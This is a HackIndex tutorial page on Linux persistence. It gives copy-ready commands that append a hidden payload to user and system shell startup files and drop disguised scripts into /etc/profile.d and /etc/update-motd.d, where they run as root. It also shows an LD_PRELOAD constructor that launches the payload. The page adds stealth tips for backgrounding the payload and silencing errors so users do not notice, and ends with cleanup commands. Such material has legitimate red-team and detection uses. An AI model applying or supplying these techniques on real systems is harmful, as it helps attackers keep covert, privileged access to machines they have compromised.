Skip to content
HackIndex logo

HackIndex

Linux Shell and Profile Persistence

3 min read Apr 24, 2026

Shell startup files execute automatically when a user opens a session. Adding a payload to these files gives persistent execution tied to user login without creating cron jobs or services. Profile-based persistence is low-noise but only triggers when a user authenticates — it does not run on reboot without a login event.

User shell startup files

These files execute for every interactive shell or login session of the target user. No root required — only write access to the target user's home directory.

user@host ~ $ # ~/.bashrc — runs on every interactive bash shell
user@host ~ $ echo '/tmp/.payload.sh &' >> ~/.bashrc
 
user@host ~ $ # ~/.bash_profile or ~/.profile — runs on login shells
user@host ~ $ echo '/tmp/.payload.sh &' >> ~/.bash_profile
user@host ~ $ echo '/tmp/.payload.sh &' >> ~/.profile
 
user@host ~ $ # ~/.zshrc — zsh users
user@host ~ $ echo '/tmp/.payload.sh &' >> ~/.zshrc
 
user@host ~ $ # Run in background with & so the shell does not hang waiting
user@host ~ $ # Redirect output to avoid visible errors
user@host ~ $ echo '/tmp/.payload.sh > /dev/null 2>&1 &' >> ~/.bashrc

Always append with & to background the payload process. Without it, the shell hangs waiting for the payload to exit and the user will notice immediately. Redirect stderr to /dev/null to suppress error messages if the payload is not yet present.

System-wide profile files

These execute for all users and require root to modify. Use when you want persistence across every account rather than a specific user.

user@host ~ $ # /etc/profile — executes for all users on login
user@host ~ $ echo '/tmp/.payload.sh > /dev/null 2>&1 &' >> /etc/profile
 
user@host ~ $ # /etc/profile.d/ — drop-in scripts, cleaner approach
user@host ~ $ cat > /etc/profile.d/sysupdate.sh << 'EOF'
#!/bin/bash
/tmp/.payload.sh > /dev/null 2>&1 &
EOF
user@host ~ $ chmod +x /etc/profile.d/sysupdate.sh
 
user@host ~ $ # /etc/bash.bashrc — all interactive bash shells (Debian/Ubuntu)
user@host ~ $ echo '/tmp/.payload.sh > /dev/null 2>&1 &' >> /etc/bash.bashrc

LD_PRELOAD persistence

LD_PRELOAD forces a shared library to load before any other library when a program is executed. Adding it to a user's environment causes the library — and any code in its constructor function — to run whenever that user executes a binary.

user@host ~ $ # Add LD_PRELOAD to user environment
user@host ~ $ echo 'export LD_PRELOAD=/tmp/.lib.so' >> ~/.bashrc
 
user@host ~ $ # The .so must have a constructor that runs the payload
user@host ~ $ # Minimal C source for the shared library:
user@host ~ $ # __attribute__((constructor)) void init() {
user@host ~ $ # system("/tmp/.payload.sh &");
user@host ~ $ # }
user@host ~ $ # Compile: gcc -shared -fPIC -o /tmp/.lib.so lib.c
 
user@host ~ $ # Check current LD_PRELOAD settings
user@host ~ $ echo $LD_PRELOAD
user@host ~ $ cat /etc/ld.so.preload

MOTD and PAM persistence

The message-of-the-day scripts in /etc/update-motd.d/ run as root every time a user logs in via SSH. Adding a script there gives root-level execution on every SSH login without touching cron or systemd.

user@host ~ $ # Check if update-motd.d exists
user@host ~ $ ls /etc/update-motd.d/
 
user@host ~ $ # Add a script (runs as root on SSH login)
user@host ~ $ cat > /etc/update-motd.d/99-sysupdate << 'EOF'
#!/bin/bash
/tmp/.payload.sh > /dev/null 2>&1 &
EOF
user@host ~ $ chmod +x /etc/update-motd.d/99-sysupdate
 
user@host ~ $ # Verify by checking existing scripts
user@host ~ $ cat /etc/update-motd.d/00-header

Cleaning up

user@host ~ $ # Remove from user files
user@host ~ $ grep -v '.payload.sh' ~/.bashrc > /tmp/bashrc_clean && mv /tmp/bashrc_clean ~/.bashrc
user@host ~ $ grep -v '.payload.sh' ~/.bash_profile > /tmp/bp_clean && mv /tmp/bp_clean ~/.bash_profile
 
user@host ~ $ # Remove system-wide entries
user@host ~ $ rm /etc/profile.d/sysupdate.sh
user@host ~ $ grep -v '.payload.sh' /etc/profile > /tmp/profile_clean && mv /tmp/profile_clean /etc/profile
 
user@host ~ $ # Remove MOTD script
user@host ~ $ rm /etc/update-motd.d/99-sysupdate
 
user@host ~ $ # Remove LD_PRELOAD
user@host ~ $ grep -v 'LD_PRELOAD' ~/.bashrc > /tmp/bashrc_clean && mv /tmp/bashrc_clean ~/.bashrc